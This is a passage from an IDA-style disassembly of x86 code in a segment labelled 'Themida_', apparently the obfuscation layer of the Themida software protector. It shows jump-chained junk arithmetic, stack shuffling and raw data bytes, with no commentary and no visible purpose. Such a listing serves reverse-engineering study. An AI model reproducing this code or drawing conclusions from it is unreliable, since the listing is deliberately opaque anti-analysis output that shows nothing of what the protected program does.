loc_548CCA: ; CODE XREF: Themida_:0054D8ADj
xor edi, 0DF10D4E2h
push edx
mov edx, edi
mov esi, edx
jmp loc_54C223
; ---------------------------------------------------------------------------
loc_548CDA: ; CODE XREF: Themida_:00549434j
push 568Fh
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
push ebp
push esi
jmp loc_545413
; ---------------------------------------------------------------------------
dw 34FFh
dd 79E95924h
db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548CFB: ; CODE XREF: Themida_:00547BCBj
mov ecx, 24h
add esi, ecx
push dword ptr [esp]
pop ecx
push esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
push ecx
jmp loc_546E75
; ---------------------------------------------------------------------------
dd 7D6BEA81h, 0D689611Ch, 5E31895Ah, 68D23159h, 2055h
dd 0FF241C89h, 57582434h, 5FE9E789h, 81FFFFA7h, 5F6B68EBh
dd 5BD8899Ah, 80D7925h, 2E8C109h, 7461040Dh, 57D8F769h
dd 0FFF896E9h, 861AE9FFh, 15E9FFFFh
db 86h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548D63: ; CODE XREF: Themida_:0054D527j
mov [esp], ebp
push esi
mov esi, 6B5B0980h
inc esi
sub esi, 6E0355E4h
jmp loc_54D12B
; ---------------------------------------------------------------------------
loc_548D78: ; CODE XREF: Themida_:005468BFj
pop ebp
xchg edx, [esp]
pop esp
sub esp, 4
jmp loc_54B349
; ---------------------------------------------------------------------------
loc_548D88: ; CODE XREF: Themida_:00546E9Ej
sub esp, 4
mov [esp], ebp
jmp loc_5479BB
; ---------------------------------------------------------------------------
dw 1A05h
dd 17C0927h, 0D82958C3h, 58C6015Bh, 81E28952h, 4C2h, 3AFDE900h
dd 88B90000h, 291AFB65h, 240C8BCBh, 2904C483h, 241C8BD8h
dd 4C481h, 0F8010000h, 110C1B05h, 243C8B61h, 4C481h, 0C3810000h
dd 7901EEh, 3179EB81h, 0C38111D9h, 0EF43826h, 0FFE40BE9h
dd 14C781FFh, 1F25A91h, 0EC815FFDh, 4, 0B8240489h, 4, 0E958C501h
dd 13F5h, 81E38953h, 4C3h, 2BE5600h, 29000000h, 2434FFF3h
dd 0FF93D7E9h, 24148BFFh, 3304C483h, 0D2E9243Ch, 81000043h
dd 963D7C2h, 7AE95055h, 52FFFFB1h, 42474FFh, 9DF2E95Ah
dd 895CFFFFh, 0EC832414h, 243C8904h, 2F2BE5BFh, 1B6CE900h
dd 58510000h, 80BA5259h, 0C11CCC46h, 0C28103EAh, 0C7F7F22h
dd 0E908EAC1h, 2091h, 0D71F382Dh, 0E9C80138h, 23E6h, 81E68956h
dd 4C6h, 4B95100h, 1000000h, 279DE9CEh, 0C3000000h, 0C0B60F58h
dd 87048F66h, 0FF84CBE9h, 4E1C1FFh, 4EC81h, 4890000h, 0C446B824h
dd 0C131BD29h, 38D3E9h, 0E9C30100h, 238Fh, 8244429h, 8244481h
dd 61834AC5h, 242C8B58h, 81E38953h, 4C3h, 4C38100h, 87000000h
dd 0E95C241Ch, 0FFFFE3C8h
; ---------------------------------------------------------------------------
loc_548EF4: ; CODE XREF: Themida_:00542C1Bj
pop ecx
jmp loc_54B1FD
; ---------------------------------------------------------------------------
loc_548EFA: ; CODE XREF: Themida_:00545FC1j
mov esp, [esp]
jmp loc_541D26
; ---------------------------------------------------------------------------
dw 0BB53h
dd 1D981693h, 8904EC83h, 0BE56242Ch, 3FFA136Bh, 1BD3E9h
dd 0D0E95C00h
db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548F1F: ; CODE XREF: Themida_:00547DB8j
add eax, edx
add eax, 47DA0E4Ch
pop edx
push ebx
jmp loc_546BA0
; ---------------------------------------------------------------------------
db 83h, 0C2h, 2
dd 8B241487h, 3CD32424h, 39E99C24h
db 84h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_548F3F: ; CODE XREF: Themida_:0054CAD8j
add ecx, edx
sub ecx, 8D0466Ch
add dword ptr [ecx], 1
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
mov edx, [esp]
add esp, 4
loc_548F66: ; CODE XREF: Themida_:0054A588j
push 77DBh
mov [esp], ebx
mov eax, [esp]
push 290h
mov [esp], edi
mov edi, esp
push esi
jmp loc_54455B
; ---------------------------------------------------------------------------
db 5Ch, 89h, 14h
dd 1A40BA24h, 21E97CE1h, 89000005h, 34FF241Ch, 1EE95824h
dd 0BD000013h, 5E34BC9h, 7D50B951h, 0C3E92290h, 81FFFFAEh
dd 0BFEA71EFh, 0E9FE29EBh, 47EBh, 815FF921h, 76C4D0F1h
dd 35670515h, 322D3614h, 0E968755Dh, 0FA2h, 0E1E98AB4h
db 37h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_548FD7: ; CODE XREF: Themida_:0054AB80j
push 404Eh
jmp loc_54D87F
; ---------------------------------------------------------------------------
loc_548FE1: ; CODE XREF: Themida_:00549BAFj
mov [esp], edx
pop dword ptr [edi+20h]
jmp loc_544217
; ---------------------------------------------------------------------------
loc_548FEC: ; CODE XREF: Themida_:00543F1Fj
mov [esp], ebp
mov ebp, 543B3916h
sub ebp, 7387977h
sub ebp, 1
add ebp, 0B2FD4066h
jmp loc_541407
; ---------------------------------------------------------------------------
db 66h
dd 6824048Bh, 53E8h, 0E9242C89h, 2309h, 63E9AE04h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549023: ; CODE XREF: Themida_:00549709j
pop esp
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_542D7D
; ---------------------------------------------------------------------------
dd 8102E1C1h, 82E501F1h, 59CD01F7h, 3D75ED81h, 4BE95391h
db 8Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54904B: ; CODE XREF: Themida_:0054B8C2j
xor [esp], ebx
xor ebx, [esp]
pop esp
jmp loc_549296
; ---------------------------------------------------------------------------
db 80h
dd 0F7301EC6h, 33CFE9h, 0E5E98100h, 8135AC51h, 4C80BFF1h
dd 0E9CB89A3h, 1CD8h, 5C24048Fh, 2EC81h, 89660000h, 0F7E9241Ch
dd 81FFFFA6h, 574567EDh, 0ED814D3Bh, 61F65E5Ch, 0FFF198E9h
dd 2C483FFh, 0EBE9C300h, 56FFFF98h, 42474FFh, 0FFBF6EE9h
dd 0E9D101FFh, 2533h, 93BA525Ah, 0E908915Dh, 0FFFFDA3Ah
dd 5E06BE56h, 0BD555049h, 45B70D7Dh, 4ADCBB53h, 0DE016BC9h
dd 81EE295Bh, 0C94ADCEEh, 38685D6Bh, 8900000Ch, 0BFB9240Ch
dd 0F742BE12h, 0FDE181D1h, 0F70CDE68h, 0E4F2E9D9h, 8B66FFFFh
dd 0E951240Ch, 0FF0h, 555DEA89h, 242C87BDh, 5DE8292Dh
dd 8705D029h, 5A2D242Ch, 8124348Bh, 4C4h, 7F92D00h, 0AFE96931h
dd 8300001Dh, 55E904ECh
db 87h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549133: ; CODE XREF: Themida_:005442EDj
add esp, 4
xor eax, ebx
pop ebx
add ebp, eax
mov eax, [esp]
add esp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
mov [esp], edi
mov edi, 1
and eax, edi
push dword ptr [esp]
jmp loc_54D232
; ---------------------------------------------------------------------------
db 68h
dd 6051h, 68243C89h, 6BF53786h, 0FFBA76E9h, 0E9D529FFh
dd 3D28h, 0B7533FB0h, 77CF809Dh, 2454F653h, 0EFC05B01h
dd 0F3F78005h, 0FF9F3AE9h, 0E9CE00FFh, 9D8h, 0E189515Dh
dd 4C181h, 0E9810000h, 4, 0FFF0F8E9h, 81E789FFh, 4C7h
dd 4C78300h, 8B243C87h, 0B8502424h, 15DA6C83h, 0DA6C7F2Dh
dd 58C30115h, 4EC81h, 0C890000h, 2B924h, 0EB810000h, 45C41EB8h
dd 0C381CB01h, 45C41EB8h, 241C3359h, 0E9241C31h, 0FFFFC092h
; ---------------------------------------------------------------------------
loc_5491F8: ; CODE XREF: Themida_:00541F58j
mov ebx, 3E7C08Ah
jmp loc_542569
; ---------------------------------------------------------------------------
dw 0C483h
dd 5F5A5704h, 0FFDDE4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54920D: ; CODE XREF: Themida_:005435AEj
mov dh, 98h
push small 0
sub [esp], dh
mov dh, [esp]
add esp, 2
jmp loc_54C57C
; ---------------------------------------------------------------------------
db 83h, 0C5h, 2
dd 31242C33h, 0D7E9242Ch, 95FFFFE4h, 737AE581h, 0BE562179h
dd 99C6218Ch, 315EF529h, 2434FFE8h, 0FFDAF4E9h, 2434FFFFh
dd 8124048Bh, 4C4h, 4EC8300h, 54240C89h, 0DCD5E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549262: ; CODE XREF: Themida_:0054A625j
xor ecx, 752139h
jmp loc_54C4FA
; ---------------------------------------------------------------------------
db 0ADh, 0E9h, 0E1h
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549273: ; CODE XREF: Themida_:0054BDCDj
add esi, 29B21AE9h
or esi, 2CEB4476h
jmp loc_544EE4
; ---------------------------------------------------------------------------
dd 96E9415Fh, 2C000019h, 66D02889h, 10B4E951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549296: ; CODE XREF: Themida_:00549052j
mov [esp], esi
push 5D536E06h
mov esi, [esp]
jmp loc_54AE74
; ---------------------------------------------------------------------------
dw 0C480h
dd 43EE80B2h, 94E9E628h, 89FFFFA9h, 4C181E1h, 81000000h
dd 4C1h, 240C8700h, 0EBEB815Ch, 515C700Dh, 0AF4AC4B9h
dd 0DF18162h, 0E97B7C0Dh, 4304h
; ---------------------------------------------------------------------------
loc_5492DC: ; CODE XREF: Themida_:0054391Dj
mov eax, edi
jmp loc_54ACA2
; ---------------------------------------------------------------------------
db 81h
dd 73A82434h, 815B6B13h, 1373A8F3h, 0EBC15A6Bh, 8620E903h
dd 487FFFFh, 152D5C24h, 482FEA38h, 1A59032Dh, 0A5BA5266h
dd 31D255C3h, 0D3CFE9D0h, 0E952FFFFh, 0FFFFDAE2h, 0B8505954h
dd 4, 7B13E981h, 0E9813DB6h, 6C827043h, 0C181C101h, 6C827043h
dd 7B13BE56h, 0BA523DB6h, 38D7459Ah, 4A03EAC1h, 8104EAC1h
dd 66792EC2h, 5AD10124h, 0E981F101h, 24D827B9h, 0FFF4CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549361: ; CODE XREF: Themida_:00545733j
xor [esp], edi
xor edi, [esp]
xor [esp], edi
not edi
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
jmp loc_5474E5
; ---------------------------------------------------------------------------
dd 405h, 40500h, 4870000h, 0BBBF5C24h, 297F2963h, 241C8BDFh
dd 4C481h, 0F9010000h, 0AF50E95Fh, 348BFFFFh, 4C48324h
dd 5B4668h, 241C8900h, 670268h, 242C8900h, 6524B850h, 702D17C9h
dd 89EC660Fh, 18BB58C5h, 315C327Fh, 0CF31E9EBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5493D2: ; CODE XREF: Themida_:005474E8j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
push esp
pop eax
push edi
mov edi, 4
jmp loc_547146
; ---------------------------------------------------------------------------
dd 5BD8015Eh, 0FFFF21E9h, 5FF989FFh, 0A559D268h, 0CD315D3Bh
dd 592434FFh, 104C483h, 0C7815DEFh, 4, 5C243C87h, 8B2434FFh
dd 0C4832404h
db 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push edx
push edi
mov edi, 6A005662h
jmp loc_548A52
; ---------------------------------------------------------------------------
loc_54942D: ; CODE XREF: Themida_:005499EAj
pop ecx
add esi, 4
jmp loc_548CDA
; ---------------------------------------------------------------------------
loc_549439: ; CODE XREF: Themida_:005446F5j
add bl, 2Ah
sub bl, 0E3h
add bl, 2Fh
push ecx
mov ecx, esp
add ecx, 4
push esi
mov esi, 63BD5574h
or esi, 278C1B57h
inc esi
jmp loc_54A732
; ---------------------------------------------------------------------------
loc_54945D: ; CODE XREF: Themida_:00546172j
push eax
jmp loc_547896
; ---------------------------------------------------------------------------
db 59h
dd 0FF8C24E9h, 243C33FFh, 33243C31h, 248B243Ch, 4EC8324h
dd 88240C89h, 0EA8852D5h, 0F138E951h, 0C804FFFFh, 5307E0C0h
dd 0FFDB92E9h, 58C701FFh, 68D868h, 24148900h, 6277BABAh
dd 0BD554A7Dh, 7D6277BDh, 0E95DEA31h, 1F6Fh, 8CB85053h
dd 0E91E8C2Ch, 0FFFFBBB9h, 4247C01h, 9E2D585Fh, 50177D2Fh
dd 2C2589B8h, 15C0351Eh, 0F0314E0Ch, 383BE9h
db 0
; ---------------------------------------------------------------------------
loc_5494D9: ; CODE XREF: Themida_:0054140Aj
add edi, ecx
pop ecx
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push 3BB2h
mov [esp], ebx
mov ebx, 800000h
and eax, ebx
jmp loc_54637A
; ---------------------------------------------------------------------------
dw 0C166h
dd 56608E8h, 0C16630F3h, 0C16603E0h, 56606E0h, 2966FD5Bh
dd 65E958C3h
db 42h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549517: ; CODE XREF: Themida_:00542465j
xor ebp, 65856BECh
mov edx, ebp
pop ebp
push 122Eh
mov [esp], edx
push dword ptr [esp]
pop ecx
jmp loc_549C02
; ---------------------------------------------------------------------------
db 81h, 0E9h, 0C0h
dd 56165215h, 98322FBEh, 62E98166h, 1047F4Ch, 1BCCE9F1h
dd 0AD660000h, 64752D66h, 55E38953h, 4BDh, 5DEB0100h, 8704EB83h
dd 895C241Ch, 0BE662434h, 816616C3h, 0E95541C6h, 0FFFFB4CCh
dd 8904EC83h, 0CFF241Ch, 2F86E924h, 295B0000h, 0D8BE56D8h
dd 8154B415h, 3A026DC6h, 29D6E924h, 67B70000h, 0C0A8E780h
dd 0C78008EFh, 1CBDE991h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5495A6: ; CODE XREF: Themida_:00544912j
add ebp, 4
xchg ebp, [esp]
pop esp
movzx eax, al
jmp loc_54295F
; ---------------------------------------------------------------------------
loc_5495B8: ; CODE XREF: Themida_:00544BA5j
add edx, eax
pop eax
sub esp, 4
jmp loc_54BD35
; ---------------------------------------------------------------------------
loc_5495C3: ; CODE XREF: Themida_:00548B51j
or edx, 314B006Ch
jmp loc_54ACD4
; ---------------------------------------------------------------------------
dw 7268h
dd 89000002h, 0BA52243Ch, 474A31BCh, 6F2DE281h, 0EA816D64h
dd 6B847E87h, 4E34E281h, 0F74A0F0Dh, 25C281DAh, 0E9090902h
dd 0FFFFA78Eh, 4C381h, 0C3830000h, 241C8704h, 6824248Bh
dd 5E02h, 0E9243489h, 0FFFFE31Ah, 0BEFB2D66h, 8BC30166h
dd 0C4832404h, 66526604h, 661FF5BAh, 5166D2F7h, 0F2AFB966h
dd 66CA3166h, 0D3296659h, 24148B66h, 386CE9h, 4AD2F700h
dd 0FFFFBE56h, 0F201FFFFh, 6CC2815Eh, 812E163Dh, 9D12CF2h
dd 5AD701D5h, 8104C783h, 4ECh, 243C8900h, 42474FFh, 83243C8Bh
dd 48F04C4h, 0FF665C24h, 7CF6E930h, 7401FFFFh, 5B5E0424h
dd 6A29EB81h, 34FF5A8Eh, 0E9525A24h, 2FC7h
; ---------------------------------------------------------------------------
loc_549698: ; CODE XREF: Themida_:00542BB0j
pop ecx
push esi
mov esi, 3D5435E5h
sub esi, 3D5435E1h
add ecx, esi
pop esi
push edx
mov edx, 4
add ecx, edx
mov edx, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
push 445Eh
mov [esp], ecx
mov ecx, 12C83A7Ch
jmp loc_54CBBE
; ---------------------------------------------------------------------------
db 66h, 33h, 14h
dd 14316624h, 0A26CE924h, 48FFFFFh, 0D47FE924h, 0FB68FFFFh
dd 0E974D01Ch, 0FFFFA9FEh
; ---------------------------------------------------------------------------
loc_5496F0: ; CODE XREF: Themida_:00545CCCj
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_54BB6C
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 401DE956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549706: ; CODE XREF: Themida_:0054B79Dj
xchg eax, [esp]
jmp loc_549023
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_545C06
; ---------------------------------------------------------------------------
dd 0D028F1B2h, 34685A66h, 89000011h, 33B62414h, 5053D6F6h
dd 0FFF89BE9h, 0D0CF81FFh, 0D14D1953h, 0F7DF87EFh, 0C1DF87DBh
dd 0EFC108E7h, 0BDC7E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54974E: ; CODE XREF: Themida_:0054BF59j
push esi
mov esi, 9AE6E2Ch
jmp loc_549DD9
; ---------------------------------------------------------------------------
db 5Ah, 33h, 1Ch
dd 241C3124h, 1BECE9h, 74E56800h, 34890000h, 815E5424h
dd 4C6h, 40BD5500h, 81455D79h, 666EFFEDh, 0F901E96Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549786: ; CODE XREF: Themida_:00543546j
mov eax, [esp]
push edi
push esp
pop edi
push eax
mov eax, 4
jmp loc_544CD2
; ---------------------------------------------------------------------------
db 0FFh
dd 59042474h, 5C24048Fh, 50C8BF0Fh, 5251E089h, 2530E368h
dd 0EA815A1Dh, 213E3490h, 0D80FEA81h, 9BE9AB30h, 83FFFFBBh
dd 0BD5504C4h, 3A0031C3h, 2A20C581h, 3BE9F97Ah, 66000023h
dd 0E9241431h, 0FFFFFEF5h, 348B5F66h, 4C48124h, 66000000h
dd 2D66D801h, 56617CBh, 52666475h, 6FF4BA66h, 66D00166h
dd 5024148Bh, 0B9E9E089h, 5AFFFFF8h, 0FFD368E9h, 240C8BFFh
dd 0FFF106E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549815: ; CODE XREF: Themida_:0054D810j
sub esi, 0FB69879h
xor edi, esi
pop esi
add eax, edi
mov edi, [esp]
add esp, 4
add eax, 4
xchg eax, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_54328B
; ---------------------------------------------------------------------------
a@sa db '@é ;',0
align 4
dd 0F433E959h, 665CFFFFh, 2404A30Fh, 7B22E99Ch, 8952FFFFh
dd 4C281E2h, 81000000h, 4C2h, 4102E900h, 0C1810000h, 4
dd 5C240C87h, 2D5AD001h, 59874C4Ch, 0FFB12DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549881: ; CODE XREF: Themida_:0054CED1j
mov ecx, 4
add ebx, ecx
pop ecx
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5434E5
; ---------------------------------------------------------------------------
dd 4C48158h, 68000000h, 1BFAh, 0FFB729E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5498A9: ; CODE XREF: Themida_:00544373j
pop edi
jmp loc_54A9B7
; ---------------------------------------------------------------------------
db 89h
dd 4BD242Ch, 1000000h, 0C6835DEEh, 24348704h, 2D24248Bh
dd 31A5076Ch, 2BEFC281h, 7CE95060h, 8BFFFFCCh, 2C892424h
dd 485EBD24h, 0E83152D5h, 0E3E9515Dh, 81FFFF7Ah, 4ECh
dd 24248900h, 0E83E9h
db 0
; ---------------------------------------------------------------------------
loc_5498F5: ; CODE XREF: Themida_:00543217j
push ebx
mov ebx, 1B4E1145h
xor ebx, 52D84A8Fh
jmp loc_547715
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 7E7368h, 0B98BE900h, 1C68FFFFh, 89000075h, 0A3E92414h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549923: ; CODE XREF: Themida_:00546774j
dec ebx
jmp loc_54530D
; ---------------------------------------------------------------------------
db 31h, 0C7h, 0E9h
dd 18EFh, 0C3005966h, 6840C380h, 11D6h, 0B1240C89h, 0FED9F642h
dd 0A4FDE9C1h, 8B66FFFFh, 0E9512404h, 0FFFFE55Dh, 242CD35Ch
dd 1890E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54995E: ; CODE XREF: Themida_:0054A308j
mov eax, 4
add ebp, eax
pop eax
jmp loc_54C867
; ---------------------------------------------------------------------------
db 57h
dd 0C7815F54h, 4, 5C3E9h, 40500h, 77E90000h
db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549983: ; CODE XREF: Themida_:00545A89j
pop ebp
jmp loc_543210
; ---------------------------------------------------------------------------
loc_549989: ; CODE XREF: Themida_:0054171Ej
sub edi, 8D990999h
push edi
add dword ptr [esp], 3A847AA3h
pop ecx
jmp loc_54856A
; ---------------------------------------------------------------------------
loc_54999D: ; CODE XREF: Themida_:00542C86j
add esi, 97D8D5ACh
add ebx, esi
pop esi
sub esp, 4
mov [esp], esi
jmp loc_549E8B
; ---------------------------------------------------------------------------
dd 2373B951h, 0F7411B13h, 0E1C181D1h, 0E94F442Ah, 0FFFFEBEDh
dd 8B243C33h, 57552424h, 0FFD35BE9h, 0E9FD87FFh, 0FFFF97CFh
; ---------------------------------------------------------------------------
loc_5499DC: ; CODE XREF: Themida_:00546E7Aj
add esi, 29497748h
add esi, ecx
sub esi, 29497748h
jmp loc_54942D
; ---------------------------------------------------------------------------
db 83h
dd 0B1E904C3h, 66FFFFDDh, 5224048Bh, 0C281E289h, 4, 4BB53h
dd 0DA290000h, 0FFAC31E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549A11: ; CODE XREF: Themida_:0054B32Dj
push ebp
pop esi
pop ebp
and ecx, esi
mov esi, [esp]
jmp loc_54A172
; ---------------------------------------------------------------------------
dw 0D829h
dd 36BB5352h, 8960C640h, 0D02D5BDAh, 0E93B700Ah, 0FFFFC347h
; ---------------------------------------------------------------------------
loc_549A34: ; CODE XREF: Themida_:00546B51j
sub edx, esi
pop esi
jmp loc_544378
; ---------------------------------------------------------------------------
loc_549A3C: ; CODE XREF: Themida_:0054B53Bj
add ebp, 4
add ebp, 4
jmp loc_54408A
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 4C481h, 0BF570000h, 4, 0FF8AEBE9h, 5F029FFh, 10C2164Dh
dd 613AB951h, 0A30534B4h, 294C247Eh, 7EA32DC8h, 0D7E94C24h
dd 89000028h, 0B66856E3h, 8900006Eh, 4468243Ch, 5F1BA267h
dd 0A2E9DFF7h, 50FFFFE0h, 5366D6B0h, 48E9C388h, 8BFFFFAEh
dd 0C4812414h, 4, 2414F757h, 36E7815Fh, 0E9094413h, 0FFFF9D84h
dd 0F6EFE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549AC2: ; CODE XREF: Themida_:00544E34j
mov ebp, [esp]
add esp, 4
jmp loc_546B2B
; ---------------------------------------------------------------------------
db 81h, 0C6h, 4
dd 81000000h, 4C6h, 24348700h, 4EE815Ch, 87000000h, 248B2434h
dd 240C8924h, 0FF7887E9h, 0D02A2CFFh, 28832CE8h, 0D82459C8h
dd 0B151022Ch, 8FCFE965h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549B06: ; CODE XREF: Themida_:00543F0Dj
or edi, 2834A67h
xor edi, 0A16CD693h
sub ebx, edi
jmp loc_5442EA
; ---------------------------------------------------------------------------
align 2
dw 0E9D8h
dd 0FFFFAF80h, 9D1C77FFh, 24041958h, 0C985E99Ch, 31B9FFFFh
dd 0F737EB29h, 65C981D1h, 0E95ACB53h, 0FFFFBE07h, 4BFh
dd 5FF90100h, 0E9240C87h, 0FFFF9CD5h, 242C8155h, 0FFFFFFFFh
dd 97ED815Dh, 55B7FFEFh, 34242C81h, 8F7E1540h, 4A682047h
dd 0E9000029h, 0FFFFBB62h, 87C68059h, 7EE9F020h, 81000002h
dd 4C7h, 4B85000h, 50000000h, 0F94D3EB8h, 0E9C72923h, 0FFFF7ACAh
; ---------------------------------------------------------------------------
loc_549B98: ; CODE XREF: Themida_:00546E82j
push dword ptr [esp]
pop esi
add esp, 4
or ebx, ebx
jnz loc_544775
push 6761h
jmp loc_548FE1
; ---------------------------------------------------------------------------
loc_549BB4: ; CODE XREF: Themida_:0054B62Aj
dec ebx
add ebx, 1F347FB1h
sub ebx, 79C1EA83h
add esi, ebx
pop ebx
xchg esi, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
mov bh, dl
jmp loc_54AD40
; ---------------------------------------------------------------------------
aB?2u db 'Î=?}2U½',0
align 4
dd 0ED810000h, 70F5513Dh, 0C581F529h, 70F5513Dh, 815DEE87h
dd 82BFFDEEh, 38BDE989h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549C02: ; CODE XREF: Themida_:0054952Cj
add esp, 4
mov edx, [esp]
add esp, 4
and eax, ecx
mov ecx, [esp]
add esp, 4
or edx, eax
jmp loc_54D8B2
; ---------------------------------------------------------------------------
dd 8FC0B60Fh, 4DE98704h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549C2B: ; CODE XREF: Themida_:0054B672j
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], ebx
jmp loc_54CCCF
; ---------------------------------------------------------------------------
db 8Bh, 34h, 24h
dd 23F268h, 24048900h, 405E089h, 68000000h, 1949h, 0BB241C89h
dd 4, 0E95BD801h, 0FFFFE6A4h, 0F680CEFEh, 233E97Fh, 11680000h
dd 8B043E71h, 0C4812434h, 4, 0FF8709E9h, 240C8BFFh, 0E904C483h
dd 0FFFFA17Ah, 4C48359h, 0E9242C33h, 2CDEh, 9C6DB9B8h
dd 32C3574h, 0D0F71471h, 77811005h, 58C72974h, 5E7C14Fh
dd 5E1DEF81h, 10E930E4h, 81FFFFCCh, 4C4h, 0D7F7E900h, 0E2C1FFFFh
dd 56BB5306h, 0F733FF2Dh, 0D9EB81D3h, 813B0A7Ah, 0B320E1CBh
dd 7EEB8151h, 8167DB4Dh, 0FA306EF3h, 5FF38113h, 81DAD1DEh
dd 8239D1C2h, 81DA0151h, 8239D1EAh, 0D0895B51h, 9DEA815Ah
dd 17AE706h, 2BBE56C2h, 813C1139h, 0CA34FDF6h, 3C1EE937h
dd 0BF570000h, 2, 95E9FE01h, 89FFFF93h, 8EBF243Ch, 0E9371543h
dd 0FFFFEF58h, 0AD5FA525h, 79572D52h, 0BE560D41h, 248D4BD0h
dd 315EF001h, 0DBE958C5h
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549D4F: ; CODE XREF: Themida_:0054BFBDj
mov eax, 14F40699h
inc eax
xor eax, 6B2432B5h
mov esi, eax
pop eax
shr esi, 2
sub esi, 347A2DCFh
jmp loc_54B78E
; ---------------------------------------------------------------------------
db 5Dh
dd 0BEE9FD09h, 89000028h, 92ECE9E5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549D7A: ; CODE XREF: Themida_:0054CA29j
sub edx, 53C9B4A8h
sub esi, edx
pop edx
mov ebp, esi
mov esi, [esp]
add esp, 4
shr ebp, 6
dec ebp
not ebp
push ebx
mov ebx, 5B7F063Ch
dec ebx
xor ebx, 48C05678h
sub ebx, 6D2D2677h
push edx
mov edx, 0B39F0B40h
jmp loc_54CF8A
; ---------------------------------------------------------------------------
db 0ACh
dd 3C68h, 240C8900h, 0A17E9h, 0F556800h, 34890000h, 200BE24h
dd 77090000h, 2434FF1Ch, 0E689565Eh, 0FFC549E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549DD9: ; CODE XREF: Themida_:00549754j
add ebx, esi
pop esi
jmp loc_546565
; ---------------------------------------------------------------------------
db 64h, 0FFh, 32h
dd 0FF758FE9h, 54C381FFh, 5F451F51h, 0FFCAA0E9h, 240C89FFh
dd 0FFBE79E9h, 460C5AFFh, 88520434h, 8BF588C6h, 0C4832414h
dd 0C25AE904h, 0C683FFFFh, 0B3E681FFh, 0E913D96Ah, 2E92h
dd 83240C8Bh, 0BD5504C4h, 458A69C3h, 0DDF7454Dh, 0FF7A31E9h
dd 11B0B9FFh, 0C8017B34h, 0E9C82959h, 0FFFF86EFh, 14BAE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549E4A: ; CODE XREF: Themida_:00543C20j
pop esi
push eax
mov eax, 4
add edi, 23747E1h
jmp loc_54AC48
; ---------------------------------------------------------------------------
dd 2E30F181h, 0EB812E47h, 4130D5Eh, 6777C381h, 30E90D3Bh
dd 8BFFFFCFh, 0C481241Ch, 4, 8B24048Fh, 4FE2424h, 0EDE99C24h
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549E8B: ; CODE XREF: Themida_:005499AFj
mov esi, 35E80F6Eh
add ebx, esi
pop esi
jmp loc_541D51
; ---------------------------------------------------------------------------
dd 0C531E831h, 0FFD543E9h, 11EE80FFh, 0E95AF328h, 0FFFFE8E9h
dd 5B66FA00h, 148BD328h, 4C48124h, 51000000h, 0C1800CB1h
dd 0FDC98058h, 0FFB227E9h, 243C89FFh, 6850E789h, 7DEE7E15h
dd 0FFC08358h, 0FFA81DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549EDD: ; CODE XREF: Themida_:005414A5j
or eax, eax
jz loc_54435B
push dword ptr [edi+1Ch]
push edi
mov edi, 4A691E2Dh
xor [esp+4], edi
jmp loc_548867
; ---------------------------------------------------------------------------
db 5Bh
dd 0FFD1AFE9h, 81F828FFh, 4ECh, 0ABFCE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549F0A: ; CODE XREF: Themida_:00542A17j
mov esi, 44431286h
push esi
push esi
mov esi, 31EF31C1h
add [esp+4], esi
pop esi
